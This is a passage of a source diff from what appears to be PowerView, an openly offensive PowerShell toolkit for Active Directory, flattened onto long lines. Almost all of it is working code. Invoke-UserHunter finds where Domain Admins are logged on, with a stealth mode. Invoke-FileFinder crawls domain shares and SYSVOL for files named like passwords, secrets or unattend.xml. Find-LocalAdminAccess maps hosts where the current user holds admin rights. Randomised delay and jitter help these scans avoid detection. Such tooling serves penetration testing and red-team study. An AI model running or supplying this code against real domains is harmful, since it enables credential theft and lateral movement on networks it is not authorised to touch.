valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } -} + Only return files with a CreationDate greater than this date value. + .PARAMETER IncludeC -filter Get-NetSession { -<# - .SYNOPSIS + Switch. Include any C$ shares in recursive searching (default ignore). - This function will execute the NetSessionEnum Win32API call to query - a given host for active sessions on the host. - Heavily adapted from dunedinite's post on stackoverflow (see LINK below) + .PARAMETER IncludeAdmin - .PARAMETER ComputerName + Switch. Include any ADMIN$ shares in recursive searching (default ignore). - The ComputerName to query for active sessions. + .PARAMETER ExcludeFolders - .PARAMETER UserName + Switch. Exclude folders from the search results. - The user name to filter for active sessions. + .PARAMETER ExcludeHidden - .OUTPUTS + Switch. Exclude hidden files and folders from the search results. - SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 - result structure which includes the host and username associated - with active sessions, with the ComputerName added. + .PARAMETER CheckWriteAccess - .EXAMPLE + Switch. Only returns files the current user has write access to. - PS C:\> Get-NetSession + .PARAMETER OutFile - Returns active sessions on the local host. + Output results to a specified csv output file. - .EXAMPLE + .PARAMETER NoClobber - PS C:\> Get-NetSession -ComputerName sqlserver + Switch. Don't overwrite any existing output file. - Returns active sessions on the 'sqlserver' host. + .PARAMETER NoPing - .EXAMPLE + Switch. Don't ping each host to ensure it's up before enumerating. - PS C:\> Get-NetDomainController | Get-NetSession + .PARAMETER Delay - Returns active sessions on all domain controllers. + Delay between enumerating hosts, defaults to 0 - .LINK + .PARAMETER Jitter - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> + Jitter for the host delay, defaults to +/- 0.3 - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost', + .PARAMETER Domain - [String] - $UserName = '' - ) + Domain to query for machines, defaults to the current domain. - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + .PARAMETER DomainController - # arguments for NetSessionEnum - $QueryLevel = 10 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + Domain controller to reflect LDAP queries through. - # get session information - $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + .PARAMETER SearchForest - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + Search all domains in the forest for target users instead of just + a single domain. - Write-Debug "Get-NetSession result for $Computer : $Result" + .PARAMETER SearchSYSVOL - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() + .PARAMETER Threads - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SESSION_INFO_10 + The maximum concurrent threads to execute. - # return all the sections of the structure - $Sessions = $Info | Select-Object * - $Sessions | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $Sessions - } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } -} + .PARAMETER UsePSDrive + Switch. Mount target remote path with temporary PSDrives. -filter Get-LoggedOnLocal { -<# - .SYNOPSIS + .EXAMPLE - This function will query the HKU registry values to retrieve the local - logged on users SID and then attempt and reverse it. - Adapted technique from Sysinternal's PSLoggedOn script. Benefit over - using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges - required (NetWkstaUserEnum requires remote admin access). + PS C:\> Invoke-FileFinder - Note: This function requires only domain user rights on the - machine you're enumerating, but remote registry must be enabled. + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, - Function: Get-LoggedOnLocal - Author: Matt Kelly, @BreakersAll + .EXAMPLE - .PARAMETER ComputerName + PS C:\> Invoke-FileFinder -Domain testing - The ComputerName to query for active sessions. + Find readable files on the 'testing' domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, .EXAMPLE - PS C:\> Get-LoggedOnLocal + PS C:\> Invoke-FileFinder -IncludeC - Returns active sessions on the local host. + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login' or 'unattend*.xml' in the name, + including C$ shares. .EXAMPLE - PS C:\> Get-LoggedOnLocal -ComputerName sqlserver + PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv - Returns active sessions on the 'sqlserver' host. + Enumerate a specified share list for files with 'accounts' or + 'ssn' in the name, and write everything to "out.csv" + + .LINK + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ #> [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - try { - # retrieve HKU remote registry values - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") + [String] + $ComputerFilter, - # sort out bogus sid's like _class - $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { - $UserName = Convert-SidToName $_ + [String] + $ComputerADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $ShareList, + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [Alias('Terms')] + [String[]] + $SearchTerms, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $TermList, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $IncludeC, + + [Switch] + $IncludeAdmin, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, - $Parts = $UserName.Split('\') - $UserDomain = $Null - $UserName = $Parts[-1] - if ($Parts.Length -eq 2) { - $UserDomain = $Parts[0] - } + [Switch] + $NoClobber, - $LocalLoggedOnUser = New-Object PSObject - $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" - $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ - $LocalLoggedOnUser - } - } - catch { - Write-Verbose "Error opening remote registry on '$ComputerName'" - } -} + [Switch] + $NoPing, + [UInt32] + $Delay = 0, -######################################################## -# -# 'Meta'-functions start below -# -######################################################## + [Double] + $Jitter = .3, -function Invoke-ThreadedFunction { - # Helper used by any threaded host enumeration functions - [CmdletBinding()] - param( - [Parameter(Position=0,Mandatory=$True)] - [String[]] - $ComputerName, + [String] + $Domain, - [Parameter(Position=1,Mandatory=$True)] - [System.Management.Automation.ScriptBlock] - $ScriptBlock, + [String] + $DomainController, + + [Switch] + $SearchForest, - [Parameter(Position=2)] - [Hashtable] - $ScriptParameters, + [Switch] + $SearchSYSVOL, - [Int] [ValidateRange(1,100)] - $Threads = 20, + [Int] + $Threads, [Switch] - $NoImports + $UsePSDrive ) begin { - if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } - Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" + # random object for delay + $RandNo = New-Object System.Random - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" - # import the current session state's variables and functions so the chained PowerView - # functionality can be used by the threaded blocks - if(!$NoImports) { + $Shares = @() - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 2 + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @("C$", "ADMIN$") - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + # see if we're specifically including any of the normally excluded sets + if ($IncludeC) { + if ($IncludeAdmin) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("ADMIN$") + } + } - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - if($VorbiddenVars -NotContains $Var.Name) { - $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + if ($IncludeAdmin) { + if ($IncludeC) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("C$") + } + } + + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } + + # if there's a set of terms specified to search for + if ($TermList) { + ForEach ($Term in Get-Content -Path $TermList) { + if (($Term -ne $Null) -and ($Term.trim() -ne '')) { + $SearchTerms += $Term } } + } - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + # if we're hard-passed a set of shares + if($ShareList) { + ForEach ($Item in Get-Content -Path $ShareList) { + if (($Item -ne $Null) -and ($Item.trim() -ne '')) { + # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder + $Share = $Item.Split("`t")[0] + $Shares += $Share + } } } + else { + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! + if(!$ComputerName) { - # create a pool of maxThread runspaces - $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) - $Pool.Open() + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } - $Jobs = @() - $PS = @() - $Wait = @() + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$SearchTerms) { + # search for interesting scripts on SYSVOL + $SearchTerms = @('.vbs', '.bat', '.ps1') + } + } + else { + [array]$ComputerName = @() - $Counter = 0 - } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } - process { + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + } + } - ForEach ($Computer in $ComputerName) { + # script block that enumerates shares and files on a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive) - # make sure we get a server name - if ($Computer -ne '') { - # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" + Write-Verbose "ComputerName: $ComputerName" + Write-Verbose "ExcludedShares: $ExcludedShares" + $SearchShares = @() - While ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 + if($ComputerName.StartsWith("\\")) { + # if a share is passed as the server + $SearchShares += $ComputerName + } + else { + # if we're enumerating the shares on the target server first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } + if($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { - # create a "powershell pipeline runner" - $PS += [powershell]::create() + $NetName = $Share.shi1_netname + $Path = '\\'+$ComputerName+'\'+$NetName - $PS[$Counter].runspacepool = $Pool + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { - # add the script block + arguments - $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) - if($ScriptParameters) { - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $NetName.ToUpper()) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Verbose "[!] No access to $Path" + } + } + } } } + } - # start job - $Jobs += $PS[$Counter].BeginInvoke(); + ForEach($Share in $SearchShares) { + $SearchArgs = @{ + 'Path' = $Share + 'SearchTerms' = $SearchTerms + 'OfficeDocs' = $OfficeDocs + 'FreshEXEs' = $FreshEXEs + 'LastAccessTime' = $LastAccessTime + 'LastWriteTime' = $LastWriteTime + 'CreationTime' = $CreationTime + 'ExcludeFolders' = $ExcludeFolders + 'ExcludeHidden' = $ExcludeHidden + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + } - # store wait handles for WaitForAll call - $Wait += $Jobs[$Counter].AsyncWaitHandle + Find-InterestingFile @SearchArgs } - $Counter = $Counter + 1 } } - end { + process { - Write-Verbose "Waiting for scanning threads to finish..." + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" - $WaitTimeout = Get-Date + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ExcludedShares' = $ExcludedShares + 'SearchTerms' = $SearchTerms + 'ExcludeFolders' = $ExcludeFolders + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + } - # set a 60 second timeout for the scanning threads - while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { - Start-Sleep -MilliSeconds 500 + # kick off the threaded script block + arguments + if($Shares) { + # pass the shares as the hosts so the threaded function code doesn't have to be hacked up + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } + else { + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } - # end async call - for ($y = 0; $y -lt $Counter; $y++) { + else { + if($Shares){ + $ComputerName = $Shares + } + elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 - } catch { - Write-Warning "error: $_" - } - finally { - $PS[$y].Dispose() + $ComputerName | Where-Object {$_} | ForEach-Object { + Write-Verbose "Computer: $_" + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" + + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive } } - - $Pool.Dispose() - Write-Verbose "All threads completed!" } } -function Invoke-UserHunter { +function Find-LocalAdminAccess { <# .SYNOPSIS - Finds which machines users of a specified group are logged into. + Finds machines on the local domain where the current user has + local administrator access. Uses multithreading to + speed up enumeration. Author: @harmj0y License: BSD 3-Clause @@ -5086,14 +11531,15 @@ function Invoke-UserHunter { .DESCRIPTION This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroupMember or reads in a target user list, queries the domain for all - active machines with Get-NetComputer or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSession/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. + queries the domain for all active machines with Get-NetComputer, then for + each server it checks if the current user has local administrator + access using Invoke-CheckLocalAdminAccess. + + Idea stolen from the local_admin_search_enum post module in + Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' .PARAMETER ComputerName @@ -5112,54 +11558,9 @@ function Invoke-UserHunter { The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. - .PARAMETER Unconstrained - - Switch. Only enumerate computers that have unconstrained delegation. - - .PARAMETER GroupName - - Group name to query for target users. - - .PARAMETER TargetServer - - Hunt for users who are effective local admins on a target server. - - .PARAMETER UserName - - Specific username to search for. - - .PARAMETER UserFilter - - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" - - .PARAMETER UserADSpath - - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER UserFile - - File of usernames to search for. - - .PARAMETER AdminCount - - Switch. Hunt for users with adminCount=1. - - .PARAMETER AllowDelegation - - Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' - - .PARAMETER StopOnSuccess - - Switch. Stop hunting after finding after finding a target user. - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER CheckAccess - - Switch. Check if the current user has local admin access to found machines. + Switch. Don't ping each host to ensure it's up before enumerating. .PARAMETER Delay @@ -5171,94 +11572,52 @@ function Invoke-UserHunter { .PARAMETER Domain - Domain for query for machines, defaults to the current domain. - + Domain to query for machines, defaults to the current domain. + .PARAMETER DomainController Domain controller to reflect LDAP queries through. - .PARAMETER ShowAll - - Switch. Return all user location results, i.e. Invoke-UserView functionality. - .PARAMETER SearchForest Switch. Search all domains in the forest for target users instead of just a single domain. - .PARAMETER Stealth - - Switch. Only enumerate sessions from connonly used target servers. - - .PARAMETER StealthSource - - The source of target servers to use, 'DFS' (distributed file servers), - 'DC' (domain controllers), 'File' (file servers), or 'All' - - .PARAMETER ForeignUsers - - Switch. Only return results that are not part of searched domain. - .PARAMETER Threads The maximum concurrent threads to execute. .EXAMPLE - PS C:\> Invoke-UserHunter -CheckAccess - - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -Domain 'testing' - - Finds machines on the 'testing' domain where domain admins are logged into. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -Threads 20 - - Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt - - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. - - .EXAMPLE - - PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 + PS C:\> Find-LocalAdminAccess - Find machines on the domain where members of the "Power Users" groups are - logged into with a 60 second (+/- *.3) randomized delay between - touching each host. + Find machines on the local domain where the current user has local + administrator access. .EXAMPLE - PS C:\> Invoke-UserHunter -TargetServer FILESERVER + PS C:\> Find-LocalAdminAccess -Threads 10 - Query FILESERVER for useres who are effective local administrators using - Get-NetLocalGroup -Recurse, and hunt for that user set on the network. + Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. .EXAMPLE - PS C:\> Invoke-UserHunter -SearchForest + PS C:\> Find-LocalAdminAccess -Domain testing - Find all machines in the current forest where domain admins are logged in. + Find machines on the 'testing' domain where the current user has + local administrator access. .EXAMPLE - PS C:\> Invoke-UserHunter -Stealth + PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt - Executes old Invoke-StealthUserHunter functionality, enumerating commonly - used servers and checking just sessions for each. + Find which machines in the host list the current user has local + administrator access. .LINK - http://blog.harmj0y.net + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ #> [CmdletBinding()] @@ -5279,40 +11638,6 @@ function Invoke-UserHunter { [String] $ComputerADSpath, - [Switch] - $Unconstrained, - - [String] - $GroupName = 'Domain Admins', - - [String] - $TargetServer, - - [String] - $UserName, - - [String] - $UserFilter, - - [String] - $UserADSpath, - - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, - - [Switch] - $AdminCount, - - [Switch] - $AllowDelegation, - - [Switch] - $CheckAccess, - - [Switch] - $StopOnSuccess, - [Switch] $NoPing, @@ -5328,29 +11653,15 @@ function Invoke-UserHunter { [String] $DomainController, - [Switch] - $ShowAll, - [Switch] $SearchForest, - [Switch] - $Stealth, - - [String] - [ValidateSet("DFS","DC","File","All")] - $StealthSource ="All", - - [Switch] - $ForeignUsers, - + [ValidateRange(1,100)] [Int] - [ValidateRange(1,100)] $Threads ) begin { - if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } @@ -5358,21 +11669,15 @@ function Invoke-UserHunter { # random object for delay $RandNo = New-Object System.Random - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - - ##################################################### - # - # First we build the host target set - # - ##################################################### + Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" + # if we're using a host list, read the targets in and add them to the target list if($ComputerFile) { - # if we're using a host list, read the targets in and add them to the target list $ComputerName = Get-Content -Path $ComputerFile } - if(!$ComputerName) { - [Array]$ComputerName = @() + if(!$ComputerName) { + [array]$ComputerName = @() if($Domain) { $TargetDomains = @($Domain) @@ -5383,250 +11688,34 @@ function Invoke-UserHunter { } else { # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - if($Stealth) { - Write-Verbose "Stealth mode! Enumerating commonly used servers" - Write-Verbose "Stealth source: $StealthSource" - - ForEach ($Domain in $TargetDomains) { - if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for File Servers..." - $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController - } - if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for DFS Servers..." - $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} - } - if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} - } - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - - $Arguments = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $ADSpath - 'Filter' = $ComputerFilter - 'Unconstrained' = $Unconstrained - } - - $ComputerName += Get-NetComputer @Arguments - } - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } - } - - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - # users we're going to be searching for - $TargetUsers = @() - - # get the current user so we can ignore it in the results - $CurrentUser = ([Environment]::UserName).toLower() - - # if we're showing all results, skip username enumeration - if($ShowAll -or $ForeignUsers) { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Null - $User | Add-Member Noteproperty 'MemberName' '*' - $TargetUsers = @($User) - - if($ForeignUsers) { - # if we're searching for user results not in the primary domain - $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 - $DomainShortName = $krbtgtName.split("\")[0] - } - } - # if we want to hunt for the effective domain users who can access a target server - elseif($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() - $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() - $User - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() - $TargetUsers = @($User) - } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $_ - $User - } | Where-Object {$_} - } - elseif($UserADSpath -or $UserFilter -or $AdminCount) { - ForEach ($Domain in $TargetDomains) { - - $Arguments = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $UserADSpath - 'Filter' = $UserFilter - 'AdminCount' = $AdminCount - 'AllowDelegation' = $AllowDelegation - } - - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser @Arguments | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Domain - $User | Add-Member Noteproperty 'MemberName' $_.samaccountname - $User - } | Where-Object {$_} - - } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + $TargetDomains = @( (Get-NetDomain).name ) } - } - if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } } # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) + param($ComputerName, $Ping) - # optionally check if the server is up first $Up = $True if($Ping) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } if($Up) { - if(!$DomainShortName) { - # if we're not searching for foreign users, check session information - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname - - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } - - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { - - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName - - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - } - catch { - $CNameDNSName = $CName - } - $FoundUser | Add-Member NoteProperty 